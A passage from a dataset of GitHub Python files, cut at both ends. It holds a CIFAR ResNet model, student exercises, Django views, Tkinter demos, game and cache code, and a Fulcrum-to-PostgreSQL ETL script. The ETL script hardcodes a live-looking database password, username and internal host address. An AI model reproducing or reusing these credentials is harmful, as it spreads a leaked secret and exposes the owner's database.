expansion\n        self.num_blocks_per_layer = 2\n        \n        self.conv1 = nn.Conv2d(image_channels, 16, kernel_size = 3, stride = 1, padding = 1)\n        self.bn1 = nn.BatchNorm2d(16) # \n        \n        # Resnet layers\n        self.layerconv2 = self._make_layer(block, out_channels = 16, stride = 1)\n        self.layerconv3 = self._make_layer(block, out_channels = 32, stride = 2)\n        self.layerconv4 = self._make_layer(block, out_channels = 64, stride = 2)\n        \n        self.avgpool = nn.AdaptiveAvgPool2d((1,1))\n        self.fc = nn.Linear(64 * self.expansion, num_classes)\n    def forward(self, x):\n        x = F.relu(self.bn1(self.conv1(x)))\n        # print(\"Output shape after conv1: \", x.shape)\n        x = self.layerconv2(x)\n        x = self.layerconv3(x)\n        x = self.layerconv4(x)\n        \n        x = self.avgpool(x)\n        x = torch.flatten(x, 1)\n        x = self.fc(x)\n    \n        return x\n    def _make_layer(self, block, out_channels, stride):\n        layers = []\n        # Because any time this function _make_layer is called, this resulting layer will downsample the input.\n        # Hence identity_downsample is always needed\n        identity_downsample = nn.Sequential(\n                                        nn.Conv2d(self.in_channels, out_channels * self.expansion, kernel_size = 1,\n                                                 stride = stride),\n                                        nn.BatchNorm2d(out_channels * self.expansion)\n                                        )\n        # Creating first block for this layer\n        layers.append(block(in_channels = self.in_channels, out_channels = out_channels, identity_downsample = identity_downsample, \\\n                            expansion = self.expansion, stride = stride))\n        \n        self.in_channels = out_channels * self.expansion\n        \n        # Creating subsequent blocks for this layer\n        # For subsequent blocks, the input dimensions match the output dimensions, so no identity_downsample is needed,\n        # meaning only perform simple addition of the input and the output\n        for i in range(self.num_blocks_per_layer - 1):\n            layers.append(block(self.in_channels, out_channels, expansion = self.expansion))\n        \n        return nn.Sequential(*layers)\n    \n# resnet = ResNetCIFAR(image_channels = 3, num_classes = 100, expansion = 3, num_blocks_per_layer = 2)\n# x = torch.randn(3, 3, 32, 32)\n# y = resnet(x)","repo_name":"giaphattram/ResNet-CIFAR100-ImageClassification","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4045,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"35172967962","text":"#Name: Min Jung\r\n#Due Date:12/05/2021\r\n#Final Project: Lab 2\r\n\r\nclass Triangle:\r\n    def __init__(self, base1, height1, base2, height2):\r\n        self.base1 =base1\r\n        self.height1= height1\r\n        self.base2= base2\r\n        self.height2 = height2\r\n    def compare_area(self):\r\n        self.area1 = 0.5 * self.base1 * self.height1\r\n        self.area2 = 0.5 * self.base2 * self.height2\r\n        if self.area1 > self.area2:\r\n            print(f'Base:{self.base1:.2f}')\r\n            print(f'Height:{self.height1:.2f}')\r\n            print(f'Area:{self.area1:.2f}')\r\n        elif self.area1 == self.area2:\r\n            print(\"Both Triangles have the same area!\")\r\n            print(f'Triangle 1 Area: {self.area1:.2f}')\r\n            print(f'Triangle 2 Area: {self.area2:.2f}')\r\n        else:\r\n            print(f'Base:{self.base2:.2f}')\r\n            print(f'Height:{self.height2:.2f}')\r\n            print(f'Area:{self.area2:.2f}')\r\ndef main():\r\n    base1= float(input())\r\n    height1= float(input())\r\n    base2= float(input())\r\n    height2= float(input())\r\n    \r\n    area = Triangle(base1,height1,base2,height2)\r\n    print(\"\\nTriangle with larger area:\")\r\n    area.compare_area()\r\nmain()","repo_name":"minjung1004/CS-2520","sub_path":"Final Project/lab2.py","file_name":"lab2.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"43171645302","text":"#!/usr/bin/env python3\n\n'''\n    字段：学生姓名 班级 Linux PHP Python\n    stu1 = {'id':1,'sname':'tom','bj':'1','Linux':100,}\n'''\n\nstu_info = []\nid = 0\n\ndef menu():\n    print('''\n      | ----------学生成绩系统--------|\n      |                               |\n      | ==========主功能菜单==========|\n      |                               |\n      |                               |                               \n      |      1.录入学生成绩           |\n      |      2.查询学生成绩           |\n      |      3.删除学生的成绩         |\n      |      4.修改学生的成绩         |\n      |      5.展示所有学生成绩       |\n      |      0.退出系统               |\n      |                               |\n      |-------------------------------|\n\n\n\n\n\n    ''')\n\n#录入学生成绩\ndef add_info():\n    while True:\n        sname = input('输入学生的姓名:')\n        if not sname:\n            print('学生姓名不能为空')\n            continue\n        bj = input('输入学生的班级:')\n        Linux = input('输入Linux成绩:')\n        PHP = input('输入PHP成绩:')\n        Python = input('输入Python成绩:')\n\n        global id \n        id += 1\n        stu = {'id':id,'sname':sname,'bj':bj,'Linux':Linux,'PHP':PHP,'Python':Python}\n        stu_info.append(stu)\n\n        print(stu_info)\n        key = input('是否继续录入y/n?')\n        if key == 'y':\n            continue\n        else:\n            break\n\n\n#显示所有学生的成绩\ndef show():\n    '''\n    遍历列表，获取到每个学生的信息\n    '''\n    format_title = '{:^6}{:^12}\\t{:^12}{:^12}{:^12}{:^12}'\n    format_data = '{:^6}{:^13}\\t{:^15}{:^13}{:^15}{:^14}'\n    print(format_title.format('ID','姓名','班级','Linux成绩','PHP成绩','Python成绩'))\n\n    for i in stu_info:\n        id = i.get('id')\n        sname = i.get('sname')\n        bj = i.get('bj')\n        Linux = i.get('Linux')\n        PHP = i.get('PHP')\n        Python = i.get('Python')\n        print(format_data.format(id,sname,bj,Linux,PHP,Python))\n\ndef search():\n    '''\n    根据名字查询学生的成绩\n\n    '''\n    \n    format_title = '{:^6}{:^12}\\t{:^12}{:^12}{:^12}{:^12}'\n    format_data = '{:^6}{:^13}\\t{:^15}{:^13}{:^15}{:^14}'\n    sname  = input('输入要查询学生的姓名:')\n\n    print(format_title.format('ID','姓名','班级','Linux成绩','PHP成绩','Python成绩'))\n    \n    #提取到所有学生的名字\n    name_list = [stu_info[i].get('sname') for i in range(len(stu_info))]\n    if sname in name_list:\n        for i in stu_info:\n            if sname == i.get('sname'):\n                id = i.get('id')\n                sname = i.get('sanme')\n                bj = i.get('bj')\n                Linux = i.get('Linux')\n                PHP = i.get('PHP')\n                Python = i.get('Python')\n                print(id,sname,bj,Linux,PHP,Python)\n    else:\n        print('学生名字不存在')\n\n\ndef delete():\n    global id\n    sname = input('请输入要删除学生得名字：')\n\n    if stu_info:\n        for i in stu_info:\n            if i['sname'] == sname:\n                stu_info.remove(i) #删除该字段\n                print('删除成功')\n    #修改剩下学生的id id - 1\n    #for i,v in enumerate(stu_info):\n    for i in range(len(stu_info)):\n        id = i + 1\n        stu_info[i]['id'] = id\n    if not stu_info:\n        id = 0\n    show()\n\n#修改学生信息，只修改学生的成绩\ndef modify():\n    sname = input()\n    if stu_info:    \n        for i in stu_info:\n            if key == '1':\n                Linux = input('')\n                i['Linux'] = Linux\n        else:\n            print('学生不存在')\n\n\ndef main():\n    while True: \n        menu()\n        key = input('请选择功能：')\n        if key == '1':\n            add_info()\n        if key == '2':\n            search()\n        if key == '3':\n            delete()\n        if key == '5':\n            show()\n\n        if key == '0':\n            break\n\n\nmain()\n","repo_name":"sunyuanheng/000404","sub_path":"student.py","file_name":"student.py","file_ext":"py","file_size_in_byte":3974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"38932665298","text":"from django.http import HttpResponse\nimport datetime\nfrom django.template import Template , Context\nfrom django.template.loader import get_template\nfrom django.shortcuts import render\n\n\nclass Persona(object):\n    def __init__(self,nombre,apellido,edad,direccion):\n        self.nombre     = nombre\n        self.apellido   = apellido\n        self.edad       = edad\n        self.direccion  = direccion\n\n\n\n\ndef index(request):\n\n    documento = ('<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">',\n                '<html xmlns=\"http://www.w3.org/1999/xhtml\">',\n                '<head>',\n                '<meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\" />',\n                '<title>MI PRIMERA PAGINA WEB DJANGO</title></head>',\n                '<body>',\n                '<p><strong>Hola esta es mi primera pagina web con django</strong></p>',\n                '<p><strong>BIENVENIDOS</strong></p>',\n                '</body>',\n                 '</html>')\n\n    return HttpResponse(documento)\n\n\ndef saludo(request):\n\n\n    Datos = Persona(\"CAMILA\",\"LEAL\",34,\"GUACARA\")\n\n    temas = ['administracion','matematicas','ingles','idiomas','php']\n\n    #variables\n    nombre = 'anderson'\n    apellido = 'garcia'\n    fecha    = datetime.datetime.now()\n\n   #-------------------------------------------------------------------------------------------------------------------#\n   # doc_externo = open(\"D:\\PROYECTOS DJANGO\\proyecto1\\proyecto1\\Templates\\miPlantilla.html\")\n\n    #creamos objeto tipo template\n\n    # plt = Template(doc_externo.read())\n\n    #cerramos el doc_externo\n\n    # doc_externo.close()\n\n    #creamos contexto\n\n    # ctx = Context({\"nombre_persona\":Datos.nombre,\"apellido_persona\":Datos.apellido,\"fecha\":fecha,\"temas\":temas})\n\n    #renderizamos\n\n    # documento = ctx.render(ctx)\n    # -----------------------------------------------------------------------------------------------------------------#\n\n\n\n    ####### Cargar templates con Settings #######\n\n    # TEMPLATES = get_template('miPlantilla.html')\n\n    # DOCUMENTO_TEMPLATES = TEMPLATES.render({\"nombre_persona\":Datos.nombre,\"apellido_persona\":Datos.apellido,\"fecha\":fecha,\"temas\":temas})\n\n    # return HttpResponse(DOCUMENTO_TEMPLATES)\n\n    ####### Cargar templates con Shortcut Render #######\n\n    return render(request,\"miPlantilla.html\",{\"nombre_persona\":Datos.nombre,\"apellido_persona\":Datos.apellido,\"fecha\":fecha,\"temas\":temas})\n\n\ndef damefecha(request):\n    fecha = datetime.datetime.now()\n    documento = '''<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n                <html xmlns=\"http://www.w3.org/1999/xhtml\">\n                <head>\n                <meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\" />\n                <title>MI PRIMERA PAGINA WEB DJANGO</title></head>\n                <body>\n                <p><strong>Hola esta es la fecha actual: %s </strong></p>\n                <p><strong>BIENVENIDOS</strong></p>\n                '</body>\n                </html>''' %fecha\n\n    return HttpResponse(documento)\n\n\ndef calculaedad(request , ano):\n\n    edadactual = 38\n    periodo = ano - 2022\n\n    edadfutura = edadactual+periodo\n\n    documento ='''<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n                <html xmlns=\"http://www.w3.org/1999/xhtml\">\n                <head>\n                <meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\" />\n                <title>MI PRIMERA PAGINA WEB DJANGO</title></head>\n                <body>\n                <p><strong>En el año: %s tendras %s años</strong></p>\n                <p><strong>BIENVENIDOS</strong></p>\n                '</body>\n                </html>''' %(ano,edadfutura)\n\n    return HttpResponse(documento)\n\n\ndef calculaedadparametros(request , edad, agno):\n\n    periodo = agno - 2022\n\n    edadfutura = edad+periodo\n\n    documento ='''<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n                <html xmlns=\"http://www.w3.org/1999/xhtml\">\n                <head>\n                <meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\" />\n                <title>MI PRIMERA PAGINA WEB DJANGO</title></head>\n                <body>\n                <p><strong>En el año: %s tendras %s años</strong></p>\n                <p><strong>BIENVENIDOS</strong></p>\n                '</body>\n                </html>''' %(agno,edadfutura)\n\n    return HttpResponse(documento)\n\n\n\n\ndef cursoC(request):\n    fecha = datetime.datetime.now()\n\n    return render(request,\"CursoC.html\", {\"fecha\":fecha})\n\ndef cursoCss(request):\n\n    return render(request,\"Cursocss.html\")\n\n\n\n","repo_name":"ARSYSTEMAS/CURSO-DJANGO","sub_path":"proyecto1/proyecto1/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4862,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"7278418357","text":"import random\r\nnum=random.randint(1,10)\r\ncondition=True\r\nwhile condition:\r\n    guess=int(input('請輸入猜的數字(介於0~10之間)'))\r\n    if(guess<0 or guess>10):\r\n        print('請輸入猜的數字(介於0~10之間)')\r\n    elif(num==guess):\r\n        print('你猜對了')\r\n        condition=False\r\n    else:\r\n        print('你猜錯了')","repo_name":"charlie14516/AE402-python","sub_path":"猜數字_2.py","file_name":"猜數字_2.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"14706245419","text":"\n#https://likegeeks.com/python-gui-examples-tkinter-tutorial/\n\nfrom tkinter import *\n\nwindow = Tk()\n\nwindow.title(\"Some guji\")\n\nwindow.geometry('350x200')\n\nlbl = Label(window,text = \"Heloo there\")#, font = (\"Arial Bold\", 50))\n\nlbl.grid(column=0,row=0)\n\ntxt = Entry(window, width = 10, state = 'normal') # disabled, readonly\ntxt.grid(column=1, row=0)\ntxt.focus()\n\ndef clicked():\n    res = \"Welcome to \" + txt.get()\n    lbl.configure(text = res)\n\nbtn = Button(window, text= \"Clikc me\", bg = \"green\", fg = \"grey\", command = clicked)\nbtn.grid(column=2,row=0)\n\n\n\nwindow.mainloop()\n\n\n\n###########################################################################################\n\n#Add a combobox widget\n\nfrom tkinter import *\n\nfrom tkinter.ttk import *\n\nwindow = Tk()\n\nwindow.title(\"Welcome to LikeGeeks app\")\n\nwindow.geometry('350x200')\n\ncombo = Combobox(window)\n\ncombo['values'] = (1,2,3,4,5,\"Text\")\n\ncombo.current(1) # set the selected item\n\ncombo.grid(column=0, row=0)\n\nlbl = Label(window,text = combo.get())#, font = (\"Arial Bold\", 50))\n\nlbl.grid(column=1,row=0)\n\nwindow.mainloop()\n\n###########################################################################################\n\n# Add a Checkbutton widget (Tkinter checkbox)\n\nfrom tkinter import *\n\nfrom tkinter.ttk import *\n\nwindow = Tk()\n\nwindow.title(\"Welcome to LikeGeeks app\")\n\nwindow.geometry('350x200')\n\nchk_state = BooleanVar()\n\nchk_state.set(True)  # set check state\n\nchk = Checkbutton(window, text='Choose', var=chk_state)\n\nchk.grid(column=0, row=0)\n\nwindow.mainloop()\n\n###########################################################################################\n\n# Add radio buttons widgets\n\nfrom tkinter import *\n\nfrom tkinter.ttk import *\n\nwindow = Tk()\n\nwindow.title(\"Welcome to LikeGeeks app\")\n\nselected = IntVar()\n\nrad1 = Radiobutton(window, text='First', value=1, variable=selected)\n\nrad2 = Radiobutton(window, text='Second', value=2, variable=selected)\n\nrad3 = Radiobutton(window, text='Third', value=3, variable=selected)\n\n\ndef clicked():\n    print(selected.get())\n\n\nbtn = Button(window, text=\"Click Me\", command=clicked)\n\nrad1.grid(column=0, row=0)\n\nrad2.grid(column=1, row=0)\n\nrad3.grid(column=2, row=0)\n\nbtn.grid(column=3, row=0)\n\nwindow.mainloop()\n\n\n\n# Create a MessageBox\n\nfrom tkinter import *\n\nwindow = Tk()\n\nwindow.title(\"Welcome to LikeGeeks app\")\n\nwindow.geometry('350x200')\n\n\n#def clicked():\n    #messagebox.showinfo('Message title', 'Message content')\n    #messagebox.showwarning('Message title', 'Message content')\n    #messagebox.showerror('Message title', 'Message content')\n\n\n    # res = messagebox.askquestion('Message title', 'Message content')\n    # res = messagebox.askyesno('Message title', 'Message content')\n    # res = messagebox.askyesnocancel('Message title', 'Message content')\n    # res = messagebox.askokcancel('Message title', 'Message content')\n    # res = messagebox.askretrycancel('Message title', 'Message content')\n\ndef clicked():\n\n    return messagebox.askyesnocancel('Message title', 'Message content')\n\nbtn = Button(window, text='Click here', command=clicked)\n\nbtn.grid(column=0, row=0)\n\nlbl = Label(window,text = clicked())#, font = (\"Arial Bold\", 50))\n\nlbl.grid(column=1,row=0)\n\nwindow.mainloop()\n\n###########################################################################################\n\n# Add a SpinBox (numbers widget)\n\nfrom tkinter import *\n\nwindow = Tk()\n\nwindow.title(\"Welcome to LikeGeeks app\")\n\nwindow.geometry('350x200')\n\nspin = Spinbox(window, from_=0, to=100, width=5)\n\nspin.grid(column=0, row=0)\n\nwindow.mainloop()\n\n###########################################################################################\n\n# Progress Bar\n\n\nfrom tkinter import *\n\nfrom tkinter.ttk import Progressbar\n\nfrom tkinter import ttk\n\nwindow = Tk()\n\nwindow.title(\"Welcome to LikeGeeks app\")\n\nwindow.geometry('350x200')\n\nstyle = ttk.Style()\n\nstyle.theme_use('default')\n\nstyle.configure(\"black.Horizontal.TProgressbar\", background='black')\n\nbar = Progressbar(window, length=200, style='black.Horizontal.TProgressbar')\n\nbar['value'] = 70\n\nbar.grid(column=0, row=0)\n\nwindow.mainloop()\n\n###########################################################################################\n\n# Add a Menu bar\n\nfrom tkinter import *\n\nfrom tkinter import Menu\n\nwindow = Tk()\n\nwindow.title(\"Welcome to LikeGeeks app\")\n\nmenu = Menu(window)\n\nnew_item = Menu(menu)\n\nnew_item.add_command(label='New')\n\nnew_item.add_separator()\n\nnew_item.add_command(label='Edit')\n\nnew_item2 = Menu(menu)\n\nnew_item2.add_command(label='New2')\n\nnew_item2.add_separator()\n\nnew_item2.add_command(label='Edit2')\n\nmenu.add_cascade(label='File', menu=new_item)\nmenu.add_cascade(label='Options', menu=new_item2)\n\nwindow.config(menu=menu)\n\nwindow.mainloop()\n\n###########################################################################################\n\n# Add Widgets\n\nfrom tkinter import *\n\nfrom tkinter import ttk\n\nwindow = Tk()\n\nwindow.title(\"Welcome to LikeGeeks app\")\n\ntab_control = ttk.Notebook(window)\n\ntab1 = ttk.Frame(tab_control)\n\ntab2 = ttk.Frame(tab_control)\n\ntab_control.add(tab1, text='First')\n\ntab_control.add(tab2, text='Second')\n\nlbl1 = Label(tab1, text='label1')\n\nlbl1.grid(column=0, row=0)\n\nlbl2 = Label(tab2, text='label2')\n\nlbl2.grid(column=0, row=0)\n\ntab_control.pack(expand=1, fill='both')\n\nwindow.mainloop()","repo_name":"macicekm/PyCourses","sub_path":"Tkinter2.py","file_name":"Tkinter2.py","file_ext":"py","file_size_in_byte":5270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"74933734967","text":"from sprite_object import *\nfrom npc import *\nfrom map import *\nimport random\nimport math\n\nclass ObjectHandler:\n    def __init__(self, game):\n        # Sprite variables\n        self.npc_sprite_path = 'resources/sprites/npc/'\n        self.static_sprite_path = 'resources/sprites/static_sprites/'\n        self.anim_sprite_path = 'resources/sprites/animated_sprites/'\n\n        self.game = game\n        self.sprite_list = []\n        self.npc_list = []\n        self.alive_npc_list = []\n        self.npc_positions = {}\n        self.lastRespawned = pg.time.get_ticks()\n        self.killed = 0\n\n        self.gameMap = Map(game)\n        self.map_size = self.gameMap.get_size()\n\n        self.hpRestored = False\n        self.dmgIncreased = False\n\n        # Sprites on the Map\n        self.add_sprite(SpriteObject(game))\n        for i in range(0, self.randomNum(10, 30)):\n            newX = self.randomNum(0, self.map_size[0])\n            newY = self.randomNum(0, self.map_size[1])\n            self.add_sprite(AnimatedSprite(game, pos=(newX - 0.5, newY - 0.5)))\n\n        # Little bit more interesting spawning, but also more problematic\n        print(\"MAP Size X: \" + str(self.map_size[0]) + \" | Y: \" + str(self.map_size[1]) + \" | Empty: \" + str(self.gameMap.world_empty_space))\n\n        cloRangeNPC = 0\n        while cloRangeNPC < 10:\n            newX = self.randomNum(4, math.floor(self.map_size[0] / 4))\n            newY = self.randomNum(4, math.floor(self.map_size[1] / 6))\n            if not self.gameMap.isWall(newX, newY):\n                self.add_npc(NPC(self.game, pos=(float(newX + 0.5), float(newY + 0.5))))\n                cloRangeNPC = cloRangeNPC + 1\n\n        midRangeNPC = 0\n        while midRangeNPC < 60:\n            newX = self.randomNum(math.floor(self.map_size[0] / 4) + 1, math.floor(self.map_size[0] / 2))\n            newY = self.randomNum(math.floor(self.map_size[1] / 6) + 1, math.floor(self.map_size[1] / 3))\n            if not self.gameMap.isWall(newX, newY):\n                self.add_npc(NPC(self.game, pos=(float(newX + 0.5), float(newY + 0.5))))\n                midRangeNPC = midRangeNPC + 1\n\n        farRangeNPC = 0\n        while farRangeNPC < 40:\n            newX = self.randomNum(math.floor(self.map_size[0] / 2) + 1, self.map_size[0])\n            newY = self.randomNum(math.floor(self.map_size[1] / 3) + 1, self.map_size[1])\n            if not self.gameMap.isWall(newX, newY):\n                self.add_npc(NPC(self.game, pos=(float(newX + 0.5), float(newY + 0.5))))\n                farRangeNPC = farRangeNPC + 1\n\n    def killReward(self):\n        reward = self.killed\n        if reward > 15 and not self.hpRestored:\n            self.game.player.set_health(200)\n            self.game.sound.hpHealed.play()\n            self.hpRestored = True\n\n        if reward > 20 and not self.dmgIncreased:\n            self.game.weapon.set_damage(100)\n            self.game.sound.dmgIncrease.play()\n            self.dmgIncreased = True\n\n    def update(self):\n        self.killReward()\n        self.npc_positions = {npc.map_pos for npc in self.npc_list if npc.alive}\n        [sprite.update() for sprite in self.sprite_list]\n        for npc in self.npc_list:\n            npc.update()\n\n        for npc in self.alive_npc_list:\n            if not npc.isAlive():\n                self.alive_npc_list.pop(self.alive_npc_list.index(npc))\n                self.killed = self.killed + 1\n\n        time_now = pg.time.get_ticks()\n        if time_now - self.lastRespawned > 15000:\n            while True:\n                newX = self.randomNum(0, self.map_size[0])\n                newY = self.randomNum(0, self.map_size[1])\n                if not self.gameMap.isWall(newX, newY):\n                    self.add_npc(NPC(self.game, pos=(float(newX + 0.5), float(newY + 0.5))))\n                    break\n            self.lastRespawned = time_now\n\n    def add_npc(self, npc):\n        self.npc_list.append(npc)\n        self.alive_npc_list.append(npc)\n\n    def add_sprite(self, sprite):\n        self.sprite_list.append(sprite)\n\n    def randomNum(self, minNum, maxNum):\n        return random.randint(minNum, maxNum)\n","repo_name":"DomasBar/FinalProjectGame","sub_path":"object_handler.py","file_name":"object_handler.py","file_ext":"py","file_size_in_byte":4095,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"74148229687","text":"# -*- coding: UTF-8 -*-\nclass LRUCache:\n\n    def __init__(self, capacity):\n        \"\"\"\n        146.LRU缓存机制(review)\n        acity: int\n        \"\"\"\n        self.hash = {}\n        self.cur = capacity\n        self.list = []\n\n    def get(self, key):\n        \"\"\"\n        :type key: int\n        :rtype: int\n        \"\"\"\n        if key in self.list:\n            self.list.remove(key)\n            self.list.insert(0, key)\n            return self.hash.get(key)\n        else:\n            return -1\n\n    def put(self, key, value):\n        \"\"\"\n        :type key: int\n        :type value: int\n        :rtype: void\n        \"\"\"\n        if self.hash.get(key):\n            self.list.remove(key)\n            self.list.insert(0, key)\n        elif self.cur == 0:  # cur减少到0的时候就开始往外弹过期的\n            self.hash.pop(self.list.pop())\n            self.list.insert(0, key)\n        else:\n            self.cur -= 1  # cur不为0就减1\n            self.list.insert(0, key)\n\n        self.hash[key] = value\n\n\nif __name__ == '__main__':\n    cache = LRUCache(1)\n    cache.put(2, 1)\n    cache.put(1, 1)\n    cache.put(2, 3)\n    cache.put(4, 1)\n    print(cache.get(1))\n","repo_name":"fuyao-w/PYAlgorithmsAndDataStructures","sub_path":"dataStructure/LRUCache.py","file_name":"LRUCache.py","file_ext":"py","file_size_in_byte":1169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"74947974327","text":"\"\"\"\nOpenCV resize\ncomparing various methods of resize interpolation\n\"\"\"\nfrom __future__ import print_function\nimport argparse\n\nimport os\nimport cv2\nimport numpy as np\n\n\nif __name__ == '__main__':\n    # Parse\n    parser = argparse.ArgumentParser(description='OpenCV resize comparison')\n    parser.add_argument('--input', '-i', default=None, help='input file path')\n    parser.add_argument('--output', '-o', default=None, help='output folder directory')\n    args = parser.parse_args()\n\n    filepath = os.path.dirname(os.path.realpath(__file__))\n\n    if args.input is not None:\n        photo_file_path = args.input\n    else:\n        photo_file_path = os.path.join(filepath, '../../assets/compare/0/photo0_xinput.jpg')\n\n    if args.output is not None:\n        output_dir = args.output\n    else:\n        output_dir = os.path.join(filepath, '../../assets/compare/0')\n\n    input_img = cv2.imread(photo_file_path, cv2.IMREAD_COLOR)\n    input_image_height = input_img.shape[0]\n    input_image_width = input_img.shape[1]\n    output_image_height = 2 * input_image_height\n    output_image_width = 2 * input_image_width\n\n    scaled_input_img = cv2.resize(input_img, (output_image_width, output_image_height), interpolation=cv2.INTER_NEAREST)\n    cv2.imwrite(os.path.join(output_dir, 'nearest.jpg'), scaled_input_img)\n    scaled_input_img = cv2.resize(input_img, (output_image_width, output_image_height), interpolation=cv2.INTER_LINEAR)\n    cv2.imwrite(os.path.join(output_dir, 'linear.jpg'), scaled_input_img)\n    scaled_input_img = cv2.resize(input_img, (output_image_width, output_image_height), interpolation=cv2.INTER_AREA)\n    cv2.imwrite(os.path.join(output_dir, 'area.jpg'), scaled_input_img)\n    scaled_input_img = cv2.resize(input_img, (output_image_width, output_image_height), interpolation=cv2.INTER_CUBIC)\n    cv2.imwrite(os.path.join(output_dir, 'cubic.jpg'), scaled_input_img)\n    scaled_input_img = cv2.resize(input_img, (output_image_width, output_image_height), interpolation=cv2.INTER_LANCZOS4)\n    cv2.imwrite(os.path.join(output_dir, 'lanczos.jpg'), scaled_input_img)\n\n\n","repo_name":"corochann/SeRanet","sub_path":"src/tools/opencv_resize.py","file_name":"opencv_resize.py","file_ext":"py","file_size_in_byte":2079,"program_lang":"python","lang":"en","doc_type":"code","stars":82,"dataset":"github-code","pt":"77"}
+{"seq_id":"23567931321","text":"import pandas as pd\nimport numpy as np\n\n# import requests\n# from urllib3 import request\n# import json\nimport sqlalchemy as sa\n\n# import psycopg2\n\nfrom io import StringIO\nimport csv\n\nfrom win10toast import ToastNotifier\n\nimport road_index_calculations as calc\n\ntoast = ToastNotifier()\ntoast.show_toast(\n    \"SCRIPT RUNNING\",\n    \"Inserting records from FulcrumApp\",\n    duration=10,\n)\n\nTABLE = \"road_visual_assessment_view\"\nCREATED_TABLE = \"road_visual_assessment_created\"\n\nSCHEMA = \"assessment\"\n\nCSV = r\"https://web.fulcrumapp.com/shares/48fc49435c5a0199.csv\"\nCSV_ANCILLARY = (\n    r\"https://web.fulcrumapp.com/shares/48fc49435c5a0199.csv?child=ancillary_assets\"\n)\n\nJSON = r\"https://web.fulcrumapp.com/shares/48fc49435c5a0199.json\"\n\nGEOJSON = r\"https://web.fulcrumapp.com/shares/48fc49435c5a0199.geojson\"\nGEOJSON_ANCILLARY = (\n    r\"https://web.fulcrumapp.com/shares/48fc49435c5a0199.geojson?child=ancillary_assets\"\n)\n\nDB_NAME = \"wc_asset_management\"\nDB_USER = \"postgres\"\nDB_PASS = \"post@dmin100!\"\nDB_HOST = \"10.73.1.2\"\nDB_PORT = \"5436\"\n\nENGINE_URL = sa.engine.URL.create(\n    \"postgresql\",\n    username=DB_USER,\n    password=DB_PASS,\n    host=DB_HOST,\n    port=DB_PORT,\n    database=DB_NAME,\n)\n\nENGINE = sa.create_engine(\n    ENGINE_URL\n)\n\nPROJECT = 'ODM RRAMS 2021 - 2023'\n\ndef get_int_columns():\n    cols_qry = \"\"\"select column_name\n    from information_schema.columns\n    where table_schema = 'assessment' and table_name = 'road_visual_assessment' \n    and data_type in ('integer', 'smallint', 'bigint');\"\"\"\n    cols = pd.read_sql_query(cols_qry, ENGINE)\n    cols = list(cols['column_name'])\n    return cols\n\ndef psql_insert_copy(table, conn, keys, data_iter):\n    \"\"\"\n    Execute SQL statement inserting data\n\n    Parameters\n    ----------\n    table : pandas.io.sql.SQLTable\n    conn : sqlalchemy.engine.Engine or sqlalchemy.engine.Connection\n    keys : list of str\n        Column names\n    data_iter : Iterable that iterates the values to be inserted\n    \"\"\"\n    # gets a DBAPI connection that can provide a cursor\n    dbapi_conn = conn.connection\n    with dbapi_conn.cursor() as cur:\n        s_buf = StringIO()\n        writer = csv.writer(s_buf)\n        writer.writerows(data_iter)\n        s_buf.seek(0)\n\n        columns = \", \".join('\"{}\"'.format(k) for k in keys)\n        if table.schema:\n            table_name = \"{}.{}\".format(table.schema, table.name)\n        else:\n            table_name = table.name\n\n        sql = \"COPY {} ({}) FROM STDIN WITH CSV\".format(table_name, columns)\n        cur.copy_expert(sql=sql, file=s_buf)\n\ndef main():\n    try:\n\n        df = pd.read_csv(CSV, low_memory=False)\n        ancillary_data = pd.read_csv(CSV_ANCILLARY, low_memory=False)\n\n        try:\n            df.rename(columns = {'project':'project_name', 'kerbs': 'kerbs_degree'}, inplace = True)\n        except:\n            pass\n        df['kerbs_degree'].loc[df['kerbs_degree']=='N'] = np.nan\n\n        cols = pd.read_sql_query(\"select * from assessment.road_visual_assessment limit 1;\", ENGINE)\n        cols = list(cols.columns)\n\n        int_cols = get_int_columns()\n        int_cols = [i for i in int_cols if i in df.columns]\n\n        inspected = df[df[\"status\"] == \"inspected\"]\n        inspected[\"segment_id\"] = inspected[\"asset_id\"]\n       \n        # inspected = calc.main(inspected)\n\n        created = df[df[\"status\"] == \"created\"]\n        created[\"segment_id\"] = created[\"fulcrum_id\"]\n\n        # created = calc.main(created)\n\n        inspected.drop('asset_id', axis=1, inplace=True)\n\n        inspected[int_cols] = inspected[int_cols].astype(int).fillna(0)\n        created[int_cols] = created[int_cols].astype(int).fillna(0)\n\n        inspected = inspected[inspected.columns.intersection(cols)]\n        created = created[created.columns.intersection(cols)]\n\n        inspected.to_sql(\n            TABLE,\n            ENGINE,\n            schema=SCHEMA,\n            if_exists=\"append\",\n            index=False,\n            method=psql_insert_copy,\n        )\n        created.to_sql(\n            TABLE,\n            